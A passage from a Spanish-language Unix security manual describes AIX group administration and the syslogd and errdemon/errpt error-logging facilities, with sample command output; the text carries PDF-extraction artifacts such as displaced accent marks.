denominan, como en el caso de los usuarios y el fichero /etc/security/user, extendidos; los b´sicos se encuentran en el a mismo lugar que en cualquier otro Unix: en /etc/group, donde se definen los grupos, su clave, su gid y los usuarios que pertenecen a cada uno de ellos de forma secundaria. En AIX, la pertenencia al grupo especial ‘system’ permite a un usuario realizar ciertas tareas administrativas sin necesidad de privilegios de administrador. Algo similar sucede con el grupo ‘security’, que permite a sus usuarios gestionar parcialmente algunos aspectos de la seguridad en el sistema (les proporciona acceso al directorio /etc/security/ y su contenido, para, por ejemplo, modificar atributos de los usuarios no administrativos); por defecto, en AIX el grupo ‘staff’ es el que engloba a los usuarios normales.
- 207. 11.5. EL SISTEMA DE LOG 189 11.5 El sistema de log Al igual que sucede en cualquier sistema Unix, en AIX la informaci´n y los errores generados por o eventos en el sistema son gestionados por el demonio syslogd, que en funci´n de su configuraci´n o o (en el archivo /etc/syslogd.conf) env´ sus registros a consola, a un fichero, a un programa, ıa a otro sistema. . . tal y como se explica en el cap´ ıtulo dedicado a la auditor´ de sistemas Unix. ıa No obstante, adem´s de syslogd, AIX proporciona otro mecanismo para la gesti´n de errores y a o mensajes del hardware, del sistema operativo y de las aplicaciones, ofreciendo una informaci´n o muy valiosa para determinar cualquier tipo de problemas en el entorno ([Skl01]); mientras que por defecto syslogd no realiza ning´n tipo de registro en AIX, este sistema no necesita ning´n tipo de u u configuraci´n adicional para comenzar a realiza su trabajo. Adem´s, viene ‘de serie’, ya que este o a mecanismo adicional forma parte de los paquetes bos.rte y bos.sysmgt.serv aid, instalados por defecto con el operativo: bruja:/etc# lslpp -l bos.rte bos.sysmgt.serv_aid Fileset Level State Description -------------------------------------------------------------------------- Path: /usr/lib/objrepos bos.rte 4.3.3.10 COMMITTED Base Operating System Runtime bos.sysmgt.serv_aid 4.3.3.50 COMMITTED Software Error Logging and Dump Service Aids Path: /etc/objrepos bos.rte 4.3.3.0 COMMITTED Base Operating System Runtime bos.sysmgt.serv_aid 4.3.3.50 COMMITTED Software Error Logging and Dump Service Aids bruja:/etc# Al arrancar una m´quina AIX desde /etc/inittab se invoca a /sbin/rc.boot, shellscript donde a se inicializa el demonio errdemon, encargado de monitorizar cont´ ınuamente el archivo /dev/error y crear los registros de error en el fichero correspondiente; a diferencia de syslogd, errdemon no escribe una entrada cada vez que se registra un evento, sino que lo hace mediante buffers tal y como se le indica en su base de datos de notificaci´n de errores, /etc/objrepos/errnotify. Adem´s, o a el registro de errores por defecto se mantiene en /var/adm/ras/errlog, mientras que el ultimo ´ log generado se guarda en memoria NVRAM de forma que en el arranque del sistema se a˜ade al n registro cuando se inicializa el demonio. Los registros guardados por errdemon est´n en modo binario (a diferencia de los logs habituales a en Unix) por defecto, como hemos comentado, dentro del fichero /var/adm/ras/errlog; de esta forma, para visualizarlos necesitaremos ciertas herramientas que vienen con el sistema; podemos utilizar desde l´ ınea de comandos la orden errpt o bien – como siempre en AIX – invocarla desde smit. En cualquier caso, mediante esta herramienta se genera en tiempo real un informe de errores: bruja:/# errpt |head -2 IDENTIFIER TIMESTAMP T C RESOURCE_NAME DESCRIPTION AA8AB241 0506081102 T O OPERATOR OPERATOR NOTIFICATION bruja:/# Como podemos ver, cada l´ ınea mostrada por esta orden es uno de los registros procesados; la primera columna es un identificador de error unico y la segunda indica la hora en que se gener´ el ´ o mismo en formato mmddhhmmyy (mes, d´ hora, minuto y a˜o). La tercera describe el tipo de error ıa, n registrado: una ‘T’ indica que es temporal, una ‘P’ que es permanente y una ‘U’ que es desconocido. La cuarta columna define la clase del error (‘S’ para errores software, ‘H’ para hardware y ‘O’ para entradas generadas mediante errlogger, como veremos despu´s). Finalmente, la quinta columna e indica el recurso afectado, y la ultima una descripci´n del error. Si pensamos que el formato es algo ´ o complicado de interpretar a simple vista (quiz´s tengamos raz´n), podemos utilizar la opci´n ‘-a’ a o o de la orden, que muestra los registros con un mayor nivel de detalle, hasta el punto de indicar las posibles causas del problema y su soluci´n (aunque realmente esta informaci´n no es tan util como o o ´ pueda parecer en principio):
- 208. 190 CAP´ ITULO 11. AIX bruja:/# errpt -a|head -36 ------------------------------------------------------------------------- LABEL: SRC IDENTIFIER: E18E984F Date/Time: Mon May 6 07:02:05 Sequence Number: 30479 Machine Id: 000000375C00 Node Id: bruja Class: S Type: PERM Resource Name: SRC Description SOFTWARE PROGRAM ERROR Probable Causes APPLICATION PROGRAM Failure Causes SOFTWARE PROGRAM Recommended Actions PERFORM PROBLEM RECOVERY PROCEDURES Detail Data SYMPTOM CODE 0 SOFTWARE ERROR CODE -9017 ERROR CODE 9 DETECTING MODULE ’srchevn.c’@line:’288’ FAILING MODULE qdaemon ------------------------------------------------------------------------- bruja:/# El archivo errlog es un registro circular, es decir, almacena tantas entradas como se define al arrancar el demonio errdemon. Al llegar una nueva entrada, se almacena primero en un buffer intermedio para minimizar la probabilidad de p´rdida del registro, y a continuaci´n se pasa al e o fichero errlog; en este punto, si se va a sobrepasar el tama˜o m´ximo del archivo, se elimina la n a primera entrada registrada. Podemos consultar los par´metros de configuraci´n actuales mediante a o errdemon, y quiz´s nos interese tambi´n modificar alguno de ellos en el arranque del sistema; por a e ejemplo, [Bha01] recomienda incrementar el tama˜o por defecto de los buffers y del archivo de log n para obtener un mejor registro de auditor´ ıa: bruja:/# /usr/lib/errdemon -l Error Log Attributes --------------------------------------------- Log File /var/adm/ras/errlog Log Size 1048576 bytes Memory Buffer Size 8192 bytes bruja:/# /usr/lib/errdemon -s4194304 -B32768 The error log memory buffer si